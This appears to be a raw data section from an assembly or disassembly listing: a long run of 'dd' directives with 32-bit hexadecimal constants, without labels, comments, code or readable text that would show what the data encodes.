		dd 78F25274h, 12FEB4h, 0E15AE659h, 708EC6Bh, 0C71C6300h
		dd 0BF0244F6h, 0C57284h, 0E28CB895h, 573FC9E4h,	13B07E00h
		dd 1541FF4Dh, 7B3C0040h, 273B9591h, 7800CB69h, 7EFDDA92h
		dd 90C916h, 0D302D088h,	49F3D69Dh, 18000574h, 955B1C36h
		dd 24588496h, 28FFF01h,	4E1E2B2Eh, 0C1574740h, 2894200h
		dd 598CF986h, 3FFCFAh, 78C89F0Ah, 9A4D1025h, 0FD45140h
		dd 53B05297h, 4009EB60h, 3500DE2Ah, 8CEEF992h, 1F5888FDh
		dd 43A63C24h, 2149B11h,	0D15298D0h, 8034F03Bh, 0B948A2FFh
		dd 0FFC097Bh, 0E946DADCh, 4D000D3h, 0D840FD2h, 39EE0200h
		dd 28ECC336h, 768390F6h, 0A350008Fh, 1466D4E2h,	3A00D845h
		dd 0DB138D16h, 39A53EBh, 0BBD3FBACh, 7BE0B603h,	3C00E340h
		dd 0AB866711h, 0E27D049h, 0CF467107h, 801DE800h, 4D7F0326h
		dd 59C11700h, 62478CD5h, 3CD91DB6h, 58CE45D2h, 6F2A8066h
		dd 103BBF86h, 233EAC45h, 4B074703h, 0B4C7E825h,	8230014h
		dd 0A9A1F9CFh, 70F50212h, 2B2C1CBAh, 881D3706h,	1BAC2040h
		dd 0E3D01h, 265A366Bh, 0BF4D50EDh, 0A1CD1C00h, 0A094C3C9h
		dd 453055Dh, 0E1D79C4Ch, 333E818h, 0A4140800h, 0C415BB86h
		dd 582BF01Dh, 5003835Dh, 78AD0364h, 0DEB014EBh,	0F1071EA8h
		dd 1832825Eh, 0C04B050h, 4C9F05D3h, 80DE7E75h, 83E9D5BEh
		dd 3A1D7B77h, 308F03C9h, 9D14020h, 14266Ah, 48A0AC52h
		dd 2C82B718h, 663DFB98h, 8A98009Dh, 0C321C954h,	2B8E2699h
		dd 71780158h, 0C4453561h, 0AD001238h, 14EB7F33h, 0B2C4396h
		dd 2F847D18h, 90DDC980h, 324C826h, 3F17E3FBh, 0A1575A00h
		dd 50CFFD2h, 83CD3B24h,	87D30023h, 0F210D455h, 127D600h
		dd 0B018C0F1h, 24C4070Eh, 302814BDh, 40CB439h, 0B376871Dh
		dd 0C884B900h, 17E902h,	0A2DD47E8h, 7E82F0BCh, 0B143A300h
		dd 0F37D08E2h, 0FA3D0364h, 1EF2FF4Fh, 387FEDF8h, 81430400h
		dd 0BFB31853h, 0BA0250A7h, 1EE2003Ch, 93843042h, 0D05C20F4h
		dd 40DE0052h, 2C34E4A1h, 0BD8500F8h, 5938C843h,	7A000BFCh
		dd 0C9535F84h, 2E8822h,	0B8C10104h, 4E603F10h, 3437BF1Fh
		dd 0C7E50A03h, 6575C8FCh, 537D00FFh, 28521BC1h,	90011D45h
		dd 74F685A5h, 55200F5Fh, 8B391ED1h, 0E5803AEEh,	0FDC44BAFh
		dd 0F202A6FBh, 3E642C25h, 0E018425Ch, 68548Ch, 96F809A4h
		dd 75FF9240h, 18492201h, 8E9BF12Fh, 4320C121h, 0C6B055h
		dd 0F4C5E987h, 422B610Ah, 0E8408200h, 9A57A34Dh, 517D0332h
		dd 0D444C960h
		dd 0F77E88B0h, 3F509600h, 225BA38h, 0A786007Bh,	6C8331C1h
		dd 0F000CD71h, 3624EB62h, 53FE04h, 0F7E88AFBh, 4B1E433Ah
		dd 0A078756Fh, 8CE2FF03h, 11D507FBh, 0E0DE9421h, 7EF0E599h
		dd 84233200h, 31D016A9h, 96544C9Eh, 4A210075h, 20622464h
		dd 97EA433Ch, 18850400h, 0B2557329h, 486A02F3h,	2BF0F449h
		dd 35C5CBE0h, 90A93700h, 93075DD3h, 2AE10010h, 5FEB5530h
		dd 0BD008018h, 2FD73B3Eh, 0E30D72h, 730E1F3Dh, 2ACAC106h
		dd 81FEBECh, 87C3F83Ah,	0E8E6E375h, 5E9F8Eh, 0DC102DC0h
		dd 0F61CE881h, 16442200h, 0BC88EFC3h, 7B92004Fh, 84FE2D2Ah
		dd 0E60F5053h, 0C04BAC4Dh, 29A1E0E8h, 89853F42h, 9CF58C81h
		dd 0ECA83EF4h, 0DDEADAC7h, 1CBC530Eh, 0EE4B609Bh, 0EE4692Ch
		dd 5427D2A5h, 89051360h, 12006BA4h, 3C9FFB5Bh, 1107053h
		dd 88E22A11h, 0D9182134h, 4C0DD851h, 87493800h,	50A28C91h
		dd 907515h, 8041FAD2h, 406AF633h, 30FFE21Dh, 902D7580h
		dd 0F66070Bh, 5A4D3881h, 78832400h, 7400E03Ch, 82801E4Bh
		dd 768F303h, 5615FC99h,	8108A023h, 4500503Eh, 27414C6h
		dd 38F6B572h, 3CF069FCh, 24006AF0h, 0EB4EBB28h,	0FE744A5Dh
		dd 1A83121Ch, 5F1F0240h, 90136574h, 72D9008Dh, 841464DBh
		dd 0EB730C62h, 7839F602h, 6031B849h, 5021F8FCh,	79E7C53Fh
		dd 34BA3E46h, 91005FD8h, 525AB774h, 0D5002367h,	8E037F86h
		dd 5C16EB3Ch, 0DA00CB77h, 0C8D0D73h, 0D103DD33h, 7B84CF21h
		dd 9C963B04h, 0E490E58Bh, 0C4C5700h, 0BE006C5Bh, 4EC426A3h
		dd 265EA10h, 0D08FABBCh, 0AA406982h, 900F4916h,	770A120h
		dd 6B77880Ah, 0C689AC90h, 31FC020Eh, 0CACF49C9h, 0B2C09740h
		dd 0C87030FCh, 19E98800h, 0B6F28AF1h, 66182708h, 784BA077h
		dd 89351209h, 440E0C34h, 0DA1C4275h, 9B803E80h,	0D2F75BD3h
		dd 25D100E4h, 57AD089h,	0B928C8ECh, 4B00C4B7h, 72D54442h
		dd 6B0EBh, 2ECBE1F3h, 16867799h, 0B4C30330h, 5F547Dh, 50B9B3A7h
		dd 33135CEAh, 0AF530100h, 58AE9E35h, 28680FA0h,	5C60B55Fh
		dd 50895294h, 59B18500h, 8A0BD123h, 0D8800002h,	0A126758h
		dd 42F05F2Eh, 0F0754905h, 0B7ECA1B0h, 92BDC00h,	0F35D5AF9h
		dd 79A55401h, 0E5957458h, 29FD7280h, 5BC85614h,	0D7FCD200h
		dd 9857701Ah, 78402E4Ch, 6040729h, 0F44AF0A3h, 0BF00FE41h
		dd 1D17BD82h, 0E6E3E80Bh, 2585002Dh, 0C65A4F78h, 733F61B2h
		dd 1B770019h, 0AE933B3Ah, 591A2675h, 0BA8100DDh, 3021C2Fh
		dd 86EFD81Dh, 54971100h, 3C3969Bh, 8A0A9BCh, 0D1D848EBh
		dd 2A383988h, 16E6F91Bh, 52432D00h, 0E923BCC7h,	20B8F2h
		dd 18583BBDh, 2F73820Fh, 4F93B200h, 22C43DAAh, 591004F0h
		dd 8394E22Dh, 51B360E9h, 0D5B80CB0h, 0B9013100h, 0D75C2042h
		dd 0B871E645h, 13F270B5h, 173EFE08h, 272F0039h,	0BAF7E07Eh
		dd 893055FEh, 80093AF4h, 0B72009F1h, 0C58302F9h, 0FFE8B204h
		dd 0CD9E567Ch, 6A513800h, 9A9C73h, 95880813h, 977CB85Ah
		dd 0C5BBF400h, 1561EA0Ah, 0F1100003h, 4912510Dh, 0A4581D0Eh
		dd 802C3F8Ah, 5E077562h, 0F8CA28h, 48EFE842h, 0A0E0FF96h
		dd 65E4C800h, 0DFBCBA95h, 7C60000Bh, 44AE545Fh,	0AD7BE093h
		dd 6972000h, 1A2643C6h,	4EB0001h, 7893DD0Dh, 540022CCh
		dd 2C085011h, 1E6D799Fh, 4057F12Dh, 730989F0h, 4600C630h
		dd 0F34E8DD6h, 0DE8CADh, 258B5967h, 0CBEFB91h, 5021C607h
		dd 28F0B256h, 0FEADB5DDh, 76D0FB59h, 30D11E20h,	0D5C5876Bh
		dd 751C5081h, 1EC339CFh, 80B1D62Bh, 0FD9B7Eh, 10E87349h
		dd 1EBB92D4h, 6328100h,	8E004E4h, 0D81F00DCh, 0A8F355D3h
		dd 0C4003121h, 0D6BDAEFBh, 9820A9Ah, 5FFE65CBh,	4F1A180h
		dd 5802EA81h, 0B3542F78h, 2ADDE0C4h, 0F5C20216h, 5F2664A2h
		dd 8A9360E0h, 831E4712h, 18446700h, 2E6689F7h, 30FC27Fh
		dd 0A4504824h, 0C9F858E0h, 6205D00h, 75894EF0h,	0F64A05BCh
		dd 0C0762CB4h, 0C7B3466Dh, 9D0F5000h, 1F2F2D82h, 5A901E55h
		dd 0EA484097h, 0CE223746h, 750058F4h, 196577EEh, 514B011h
		dd 3B398285h, 0B0AF8718h, 45807534h, 1AC5EC00h,	0EBE0176h
		dd 0CA020061h, 0D9A4AF06h, 0FE730D13h, 0C7958600h, 0AD775304h
		dd 5F8B00AEh, 0FB7D80C2h, 0CDEE88F0h, 2F008D7Bh, 0C715C663h
		dd 0B86F110Dh, 0E4101201h, 0BCFA0282h, 7E609D2Ah, 0DA0333EAh
		dd 7468C075h, 0C03FB331h, 35817A9h, 3E7995CEh, 1CE07567h
		dd 0F35EE26Fh, 0DC00F5A8h, 5114F669h, 4800B7DFh, 268DD83Bh
		dd 7A011A1h, 0AF07BA12h, 0D4F17174h, 7D85E454h,	5C38591Eh
		dd 0CAF23F00h, 1E74032Dh, 8562CCD6h, 0C09118AAh, 645A0A94h
		dd 3EC510Bh, 454500B5h,	1E05BAD4h, 5077D2Eh, 0FEAA81C4h
		dd 0C0FD2FC2h, 0E3AE87h, 0CAB541Ch, 6238FE95h, 0A032D32Eh
		dd 0FF22B400h, 0EE7384h, 0B0109C72h, 4BE7E968h,	8D2B60FBh
		dd 91DD9500h, 8C2E63E1h, 931313F0h, 420F003Fh, 0A6B1EB70h
		dd 0E7772200h, 0C75F4086h, 2C835C90h, 0C049F21Fh, 6A138C23h
		dd 0B500F4EBh, 7385DB51h, 16BA0221h, 0CAB4F2h, 53222A75h
		dd 0D800720Dh, 52C38A1Ah, 72865E01h, 0A76900E9h, 80D7B021h
		dd 334CCD38h, 401100B1h, 742E120Ah, 94D80066h, 0E0F42201h
		dd 1700FFFAh, 0C01D7525h, 0F467FE50h, 837713h, 0B2C9BF02h
		dd 0B152535Ah, 8AB32100h, 80C1B75h, 64560797h, 0E0D3220Fh
		dd 9E060DC9h, 5CE22B00h, 982D14E5h, 743300E9h, 4F9F6828h
		dd 5EF6FB42h, 0AA195507h, 3FAF18CBh, 463264C1h,	29EC4B35h
		dd 0F17B00ECh, 8BA1A490h, 82039F1Ah, 2717677Dh,	7F319177h
		dd 2E7142F8h, 0A07BEh, 66A01D8Bh, 79003064h, 0F6035FF8h
		dd 7AA1C6B8h, 5C97009Ch, 0D82E53A3h, 4D0B5BD0h,	0A94210h
		dd 4A445A6Ch, 9BBA1DCDh, 0CBA600C3h, 0FAE6C47Fh, 2FFB9E03h
		dd 0E01A57FCh, 293865h,	0D8DB3BA7h, 345D36E3h, 6C12A5EEh
		dd 0BBF49Bh, 6A0FE00Eh,	0EBEC9D01h, 1A0A9900h, 0ABC48688h
		dd 6753A29h, 0A1BD9000h, 0CAA73D68h, 0A8155D01h, 0B2BBFB92h
		dd 0EAD7C0h, 994AD02Dh,	0A436A010h, 763E8800h, 7D540AFDh
		dd 385F00BAh, 0B805D5E7h, 0EFA058CCh, 1CE2158Ch, 2CDF8900h
		dd 0B50ED494h, 0B0930383h, 0F0B86D5Ah, 2B89EFB0h, 59F46A00h
		dd 0E20E53F8h, 0EC480022h, 63C5035h, 0CE0FA63Dh, 0A0A11328h
		dd 0A03EBC96h, 0FCA4001Ch, 60C40647h, 0F24C3468h, 7890326h
		dd 0C0BBFD85h, 0BC5C58h, 0C275F803h, 0D35BC068h, 0DF29BF00h
		dd 669CDC88h, 7CCF842h,	6C4617B6h, 0A034B021h, 64394C9Eh
		dd 0EC62003Ch, 0D5F8101Fh, 27973A4Eh, 0F0F47AFFh, 48EE0Dh
		dd 0EF38DB79h, 0E552EE19h, 8F02333Dh, 0E1644414h, 4CE36837h
		dd 13AEDCCh, 54203D61h,	0F8430C7Fh, 8FA34B1h, 0C422B900h
		dd 0B32BAB2Dh, 0BB580012h, 0D6154E25h, 1D7F943Bh, 49792AC0h
		dd 72656B3Ah, 5E3C2466h, 36B401F3h, 302CD94Eh, 19074246h
		dd 82EB9A90h, 2A230360h, 584507B6h, 0B301B7AAh,	1EE83724h
		dd 62126A99h, 0B90136A7h, 4B03A045h, 4E52D0h, 7CF04C9Ah
		dd 9ED4475h, 0A954F513h, 419ED900h, 1CCA56DCh, 0C01C4950h
		dd 745F6547h, 0FCF161EDh, 7A037B64h, 20C37371h,	0BF69D852h
		dd 78450091h, 66DDF663h, 4CFCA0D3h, 73007CFCh, 4518F99Dh
		dd 0F0106D53h, 31880024h, 0C9028B62h, 3B00082Dh, 0DDD6F8E1h
		dd 0AD8D79h
		dd 28FCD489h, 9C3A7D72h, 572EEA00h, 86CA3E62h, 0C9113EF4h
		dd 0EFE20683h, 26B05C78h, 5812753Dh, 9E008415h,	0C74A8B28h
		dd 11E21E3Ah, 0E8C000A5h, 0C4EAEF27h, 0D22E4F00h, 2071740Ah
		dd 7D7E02h, 0F9EEE7E0h,	453DB664h, 0C42A0800h, 0CBC70D14h
		dd 439E00D6h, 3F816605h, 0FD0025FFh, 26E83DD2h,	1C6CEFh
		dd 1E389507h, 0AA2769C4h, 0A6D6241Dh, 0E0E85A8Fh, 0EE3AE1B5h
		dd 91670053h, 0C64E3E10h, 3F034F55h, 4B7AD2B1h,	0D875CBC9h
		dd 0C3FA50h, 6F0032Ah, 26F3F85Bh, 80CE103Bh, 52E22C92h
		dd 0A46DA7h, 0B3446BEFh, 0C308BB43h, 0CA535026h, 0F53B1700h
		dd 0E68B828h, 0D2395411h, 89782B40h, 6A000AC8h,	0A7B052B2h
		dd 7CA10974h, 0EAD1F4CEh, 713800EBh, 0BD5EBFAAh, 9007D0Eh
		dd 5478D68h, 0FE63ECE2h, 0D52C0378h, 0A06171Dh,	0C20146F0h
		dd 6900E8ECh, 1505ED39h, 0FE388934h, 65C31FBDh,	6581E542h
		dd 0E0A00E6Eh, 2B00DE8Bh, 81E41C5Dh, 714FBh, 646885BDh
		dd 162F8629h, 8AEAAC00h, 0E455121Ch, 4A4800F7h,	278358E0h
		dd 2B3B04EBh, 5F9E9F68h, 7D19F3C0h, 0F05497h, 0B4517F52h
		dd 38783644h, 324638h, 33D08B56h, 0FEBF6h, 80068A7Dh, 5742FF9h
		dd 5C5F0A00h, 42F29007h, 0F3A00D7h, 0ABD0EC09h,	0A6000354h
		dd 0FCC34A5Eh, 7C75F7F0h, 17E51753h, 42470030h,	0B8A0D73Ah
		dd 0DF822900h, 0FCE488D1h, 7E3700BEh, 95EB1C7Bh, 177892F7h
		dd 0DA19A10Fh, 3CA900EDh, 0FD3E8Bh, 9A708845h, 0C94F943Ah
		dd 1241520Eh, 0F4538024h, 284ADCh, 6389E2C1h, 3C7B8E5Dh
		dd 3B7CE800h, 5C033A78h, 1D1C003Fh, 40F61304h, 5F0B148Fh
		dd 34A5A5Bh, 0F16886E4h, 6520C13Bh, 0F0A61C8Ch,	209FBD8Eh
		dd 0D9B5001Ch, 301BAD96h, 0BE95D500h, 4A4D8EBFh, 687F3F73h
		dd 0C49D5100h, 45EB3E70h, 34A97D0Eh, 35C07EE4h,	2147D3BDh
		dd 506F00E0h, 2F58107Ah, 93F8B702h, 0FEE96E05h,	0CB010FFFh
		dd 0C231A26Ah, 0C0428820h, 2E06BA34h, 0EEFF23A3h, 0E59BC05Fh
		dd 0F8DC00BBh, 0BF94B054h, 5B0263D0h, 78DFE964h, 322861ACh
		dd 1331803Bh, 0EFFC6C75h, 625C2300h, 0FDFB447Ah, 0BEE70361h
		dd 0BB4EDF1Eh, 792C63F8h, 0F86D5E1Dh, 202ED980h, 0F72A6Bh
		dd 4C7D62AEh, 7986E34Fh, 6DDCE03h, 0D8ACF63Ch, 641A53h
		dd 0B38D702Eh, 14B67582h, 52509F07h, 0FBC15DCFh, 0B9EC4E78h
		dd 0F88400F0h, 6BB453FEh, 74039714h, 0FABD0DA7h, 48C2F81Fh
		dd 0E8830002h, 30B83AA2h, 202C264Bh, 0B501D512h, 762C4306h
		dd 0F00A89D0h, 0EF6D099Bh, 0D88029FEh, 66C78B3Fh, 547E9AFCh
		dd 0A9165Ch, 55FC4492h,	51930Fh, 0CF10B22h, 16F8678Bh
		dd 0CFBE7503h, 0B0381ACEh, 0C0103Ah, 0FE124B1Ch, 74C9DD6h
		dd 7D00ADB0h, 0CB51ACFCh, 972F10h, 4F022944h, 7E12A90Ch
		dd 8F0B870Fh, 31F9802Dh, 1CE3543h, 9422274h, 0D9192436h
		dd 0E910D137h, 1C85E83Ah, 83B8B73Eh, 8CEC7DC2h,	33C0EFA5h
		dd 0EF57519h, 4D88982Bh, 8669680h, 553D4126h, 0EB3B9C4Bh
		dd 39F98443h, 8AEA0715h, 70F8AB27h, 4B8296ACh, 4A337C00h
		dd 0F2F5EB8h, 51760084h, 38F1DFABh, 413FAF98h, 2CB9C7h
		dd 951DAC9Ch, 0E106097h, 5EFF483Bh, 8D1C3040h, 0DF7A0853h
		dd 0C1E1500h, 0ABF656Eh, 4A4B00EBh, 42203911h, 0E526695Bh
		dd 0C80001C9h, 0F32D91Bh, 79E005Ch, 830E731Eh, 8D3E0401h
		dd 0B490F485h, 8074F83Fh, 0DC8265BEh, 0EDB71069h, 774BC0h
		dd 155C81Eh, 0CBD52EC9h, 0A2F91600h, 64146E09h,	7507846h
		dd 70965534h, 0C6B75160h, 3ED7F092h, 0FCFC73Fh,	61E9E0E5h
		dd 6C79FE9Fh, 1FC5E2C4h, 0C0146A43h, 0E958C08Fh, 1CB82EF1h
		dd 5C087D00h, 3F840ADh,	0B93500B4h, 0EF8B0689h,	0A5EE795Dh
		dd 4B437000h, 460307C0h, 0C3E0048h, 0F02B0A33h,	0E800244Ch
		dd 592556AFh, 12EB007h,	0C8471F8Ah, 0E44E4034h,	49004423h
		dd 16051F2h, 71EBB1h, 37195E3Ah, 2A41775h, 50A08900h, 2ACAD555h
		dd 7F230F40h, 0CF40D82Bh, 38C852EBh, 907C3903h,	0BF366425h
		dd 1A296A80h, 185FE17h,	72F107A6h, 0D08E924Dh, 0EB007534h
		dd 0D04AD58Bh, 20BA61h,	0E36E9E65h, 408D85E1h, 80CFAA00h
		dd 423F3908h, 3A980F59h, 0FCBDE03Ch, 1B1FA2BCh,	0C8D6ADB2h
		dd 8A904E07h, 0C03EE6F0h, 82060050h, 12AEF392h,	0BFFE0156h
		dd 30FB6C00h, 2F144184h, 4C453E06h, 0FA950072h,	0C3F43CE9h
		dd 3A00EEDBh, 100821FCh, 75188A74h, 931C0205h, 9BE842BBh
		dd 40F59061h, 59C474DFh, 13305F1Fh, 0F8E895DEh,	0D9008275h
		dd 202ABF22h, 7AED0Eh, 59D474BDh, 1C9AAAD7h, 5424D207h
		dd 0F5407F82h, 7995ECB4h, 0FC21771h, 20860F76h,	9FAB7200h
		dd 0DC5EE051h, 0EEF1B5F1h, 857C0A80h, 4190B138h, 89B62B00h
		dd 276EAED2h, 8178B7h, 1DC2881Ah, 0F222287Dh, 0A84ACE00h
		dd 0FDBD11B9h, 0B80B004Bh, 0A443465Ch, 10009AABh, 0BC998EECh
		dd 0C7555Ah, 8870540Eh,	3C9EDF8Fh, 0FF72E300h, 5DADC815h
		dd 0F9340031h, 7F1CE17Eh, 7300E90Eh, 0ECED33A5h, 0FC0C8BA9h
		dd 5C490036h, 12401D4Dh, 0E00BCC7h, 590546A1h, 3D8F6F11h
		dd 7222DCh, 0AF202414h,	0E8DBF93Bh, 468CF50Ah, 0DF05FE52h
		dd 51C71021h, 74288D30h, 6C030337h, 0E365FDCEh,	22261993h
		dd 52005D08h, 1666C4FFh, 42770004h, 0FD2AFBF8h,	111F32E3h
		dd 24400846h, 0BF2B4822h, 708B0044h, 2CEB256Dh,	4E00A471h
		dd 832019DFh, 79935145h, 0C0394B13h, 9216B691h,	60230400h
		dd 0CF542846h, 6AC50059h, 57AD8083h, 9700E0B6h,	5FEB2CF9h
		dd 117865h, 0BFE65AF1h,	0BB245818h, 7C8270BFh, 827C1CE8h
		dd 2FC640A1h, 0B503A39Ch, 0D7094673h, 8115A925h, 132C010Bh
		dd 204C8h, 33740B72h, 73B6C0FFh, 4F80E900h, 0CC35C937h
		dd 0EC680050h, 0C70328C2h, 0D0097DCh, 66B71348h, 42F75Dh
		dd 3785E9B1h, 0ED20CD6Ah, 0B551800h, 7A044908h,	5F2400D5h
		dd 39076010h, 50008402h, 56404D11h, 1E0A4218h, 8069EB68h
		dd 1032C765h, 481DF259h, 3FC10C50h, 9D423541h, 54B5F0h
		dd 57C1564h, 51E4B816h,	0FC30D205h, 90B0897Fh, 0ABE80041h
		dd 59FFDE38h, 51E2109Fh, 60F06D00h, 36F79720h, 40487A40h
		dd 26513C92h, 0DC883081h, 84C95600h, 0CEAA34D6h, 7FBF60Eh
		dd 1FF200Fh, 558DB13Dh,	80A54724h, 13FA8347h, 0BF089916h
		dd 438CA500h, 110C648h,	0AD4A3063h, 0E8A8C40Eh,	0B2002A69h
		dd 66771203h, 1DE740AAh, 7D957489h, 4FF00D80h, 2032C175h
		dd 6C013Eh, 29BCC951h, 78910868h, 3C960014h, 850D2833h
		dd 253E3DEDh, 0B92200DBh, 3A15D973h, 0DAFC20h, 5F13F516h
		dd 0A5AF27CCh, 0FF307500h, 5D5AFC61h, 0D0FD073Fh, 0B01A37B2h
		dd 0F1AFECB7h, 0BD55B00Eh, 0C5D9A02Fh, 4F94708h, 296145E4h
		dd 808B8549h, 9B4482D3h, 0C489AE01h, 0F324DA12h, 84AE0E7h
		dd 38913922h, 7FA551BCh, 0F812D783h, 0FD4B31E0h, 88C59701h
		dd 217E3B6Ch, 6580898h,	0E0001486h, 0A9298E0Bh,	3F407DDCh
		dd 82804AEFh, 1F06BA9Ah, 0C53ADA2Fh, 0D0CE05A5h, 58EC69F8h
		dd 1DC7781Dh, 0C1E54043h, 7E8E0C08h, 94C5DE00h,	0BBB32927h
		dd 5CB10F66h, 4A606FBFh, 95FD7A2Eh, 7ECE42ECh, 7CEB8717h
		dd 0E4C2B5A0h, 43480047h, 580E11DDh, 8005104Dh,	8DFCA54Bh
		dd 0A2B380FBh, 9000A45Ch, 0EE0BB33Ah, 2BEAA0h, 4B8A2FF4h
		dd 74CBA8D9h, 575A0F00h, 0E8F64E0Eh, 7FED0024h,	5DC62CBCh
		dd 0CF7D6D08h, 3DE2183Fh, 271F7EDBh, 444E8EFAh,	3B974014h
		dd 1A1822h, 507E10B2h, 933E91ACh, 0FC147B00h, 0E0CF203h
		dd 18320070h, 1BC96806h, 243EE58Dh, 45F80A7h, 27BE3816h
		dd 42A900F5h, 104759FBh, 0D20E4EC6h, 20761A3Ch,	85EA1465h
		dd 0ADD63BABh, 0F3CE4F04h, 36608156h, 7303E006h, 5706C00h
		dd 7868CB77h, 0F5740F4Ch, 27A0B3EEh, 56247614h,	40E59D03h
		dd 0B04ED74Bh, 734CC811h, 53C30042h, 49D82A21h,	770740DEh
		dd 3EBC5193h, 740130E0h, 7B830063h, 5DB3C36Ch, 14000C20h
		dd 81185740h, 1F1C0251h, 40084B04h, 0FA8B4507h,	14046B22h
		dd 80E0F992h, 763F8680h, 0EEA002Bh, 497444F6h, 0C90AFCC7h
		dd 9166D8A8h, 1CC1949Eh, 55DF10E2h, 77706871h, 60EA4Dh
		dd 0D57756A2h, 0A328E853h, 0EA43D00h, 0B0744301h, 0E3BF0092h
		dd 90AD9344h, 840080F3h, 1B6E7821h, 72997E4h, 0D69C0979h
		dd 421C8028h, 27038C3h,	9678732Eh, 6B1EDD00h, 201018h
		dd 0EB7C74A7h, 0BE433D23h, 577622E8h, 84932700h, 0C697515Bh
		dd 4C7200EFh, 0D2077844h, 0F800B303h, 384E31C4h, 0E9088D9Ch
		dd 0EE4B54D8h, 0CA201FF3h, 0A0594169h, 4070211Ah, 326A9B05h
		dd 6CA2E407h, 0ACB0A943h, 84258Ah, 5419A457h, 4D68809h
		dd 0BA442039h, 7826DC5Ah, 85CCC00h, 97948C9Ch, 80960041h
		dd 14819844h, 38000988h, 1C08119Ah, 467FE8h, 109BB802h
		dd 29A27436h, 8F32093Eh, 0C7A6219Ah, 0F830C458h, 0E9006C3h
		dd 0C605111h, 87B009A0h, 460410Eh, 7171860h, 0A13600E8h
		dd 8C1B0C02h, 1A00DC10h, 21CCB408h, 0EAD40984h,	3A47519h
		dd 201F4050h, 0D8F38088h, 23D0F0DFh, 1100A081h,	4022E34h
		dd 0E82F7C22h, 5446004Ch, 9C49932h, 800516Ch, 22A4913Ch
		dd 5C2074h, 942C4457h, 0F8116489h, 0BC026600h, 6239DC26h
		dd 100900ACh, 52E00353h, 5A0E7933h, 0AF495931h,	90C0204h
		dd 0F460C124h, 7B38A320h, 0A8086164h, 0D4204137h, 0B10ECCC6h
		dd 66B8CB40h, 0E8C88D2h, 980870C8h, 11DC84E0h, 0CC1D1B48h
		dd 873FD9E0h, 1059E744h, 21F96050h, 2A18001Ch, 0CC29ECA8h
		dd 11315408h, 2B744824h, 0BE2330h, 75D17632h, 14EC6405h
		dd 4AC7ACB8h, 2670023Fh, 7A6359ACh, 0A828007Ch,	0A7C43818h
		dd 5B00F008h, 0F411C081h, 0A021B15Eh, 3026295h,	4C70253Ch
		dd 0A8D1409Ch, 50437089h, 2007657Eh, 58488824h,	51766CF1h
		dd 74A46C80h, 0AC12DC89h, 6DFC2212h, 20462C00h,	0C64B972h
		dd 58755171h, 810AA3B8h, 0D5891744h, 0B8261D00h, 1E117CC6h
		dd 9E43554Ah, 0DA440B4h, 4707E817h, 0E170280Eh,	6AC24225h
		dd 0A787F7D0h, 0DD010ACCh, 1C32007Ch, 0EC08B13h, 1558408Dh
		dd 0C6010013h, 31181F84h, 821000Ch, 32032480h, 52E048E6h
		dd 746E7500h, 20656D69h, 0E27200E4h, 83DAE76Fh,	0EAFC6101h
		dd 863B3000h, 18455140h, 80112DBFh, 80191B57h, 0B5413938h
		dd 57805E5Ch, 0DEC0120h, 0A00A1D55h, 58C5C14Eh,	319C0C56h
		dd 0F8AE31B8h, 1007D430h, 1FC1F927h, 0F3911C23h, 0E20AD81Eh
		dd 1897001Dh, 7CF001ABh, 6C00A466h, 105AE433h, 0B70907ECh
		dd 3896DEh, 6C05265Ch, 4C185B66h, 7C006F74h, 128C8984h
		dd 9C092494h, 8791A448h, 0BCF3B475h, 0FBCCFBC4h, 0FBDCFBD4h
		dd 0FBECFBE4h, 4FCF8F4h, 0C5C0140h, 1C121489h, 2C48C424h
		dd 22349107h, 4C17443Ch, 0F81754F1h, 6CED64EDh,	0F67C6F70h
		dd 8C120584h, 824A9424h, 0BC80E5BDh, 5390408h, 8E641C00h
		dd 6A236547h, 5FA83E89h, 48605403h, 0C0F75808h,	6411610Ch
		dd 0E2BCC803h, 0B0316214h, 46801Ch, 88E02363h, 38C46494h
		dd 1FEC7200h, 306548E2h, 8C5E00F0h, 11660423h, 100D560h
		dd 37842A93h, 0E500D14h, 4B4A4847h, 4E4D4C02h, 534705FFh
		dd 585737C0h, 0A056005Ah, 454104ECh, 4F1C6A49h,	6301B811h
		dd 68676664h, 6C6B80EBh, 0AF6E5A6Dh, 74052F00h,	17A7877h
		dd 61200176h, 606F6965h, 9160B998h, 0C4A010DCh,	0A7AC0022h
		dd 0C6E80901h, 740E84AAh, 0E0315132h, 71B09840h, 9EB0FFh
		dd 0C8101101h, 30912009h, 44312200h, 2F388C34h,	69070041h
		dd 33E8C79Ah, 0B001E90Fh, 19F3F0F2h, 4520A490h,	1D2B90B8h
		dd 0C0F822D4h, 3C45581Ch, 741724DEh, 30408C48h,	0ECD444BCh
		dd 59040288h, 34121881h, 6420FA8Eh, 94227C91h, 0FFA84407h
		dd 0C9001F7Eh, 0C1BD8Dh, 9B382F3Fh, 6B707AFEh, 4B3E1D00h
		dd 0AF51C049h, 391A1CB6h, 931500F4h, 1B926CB0h,	5B78B424h
		dd 95553B00h, 708436F7h, 86B8E4h, 0CE0D4AD2h, 0F501DD09h
		dd 0E3CD5300h, 601DB413h, 0F820006Ch, 0A4225027h, 24009B03h
		dd 41659885h, 0F95018Fh, 728409E8h, 70589907h, 4070084Ch
		dd 8900737Fh, 0C5FF1C88h, 7CA3F003h, 75C80021h,	0A43110BEh
		dd 0A67EE408h, 1933D001h, 70EC09E0h, 0BA740D4h,	0F849CCC8h
		dd 90D7A287h, 0AD0A802Ch, 4A96C06h, 3E60A5FEh, 248EA838h
		dd 68E35409h, 84B87412h, 0B5A89048h, 0C80345B8h, 964C033h
		dd 0EB32EB21h, 4442E83Ch, 0B35A0350h, 0D2C08A24h, 3E08B590h
		dd 152981Eh, 3020779h, 6020504h, 0A266007h, 0D0C0E0Bh
		dd 10400E0Fh, 7894389Ch, 0A403BEBAh, 0C401811h,	0C40B99B4h
		dd 7BD02620h, 310D248Dh, 105C030Eh, 0E09B0E34h,	2001C0ACh
		dd 90E61294h, 0A8021376h, 1A6C3616h, 9C2D6019h,	1F401C80h
		dd 7022C184h, 0F77811CCh, 0A024B1D7h, 0C826E488h, 7A279924h
		dd 20192801h, 6E8954D9h, 3B003160h, 10012E34h, 3C033F1Eh
		dd 0E0EC118Fh, 0B0023308h, 34483E22h, 2F6892h, 2C36317Dh
		dd 9009937h, 0C1399032h, 1EC4023Bh, 0C0B4063Dh,	5C874C3Eh
		dd 400C8CCh, 0B15A448Bh, 37714B0h, 639C1864h, 0E9B03038h
		dd 311FDC73h, 700019D4h, 785DD9BEh, 0F284E89Eh,	20AE0004h
		dd 79CC6398h, 0C4CA2E4h, 4411003Fh, 399C5676h, 995C3A66h
		dd 6C5D798Fh, 0D1F5DDC2h, 0A1E05760h, 3652400h,	0C4793310h
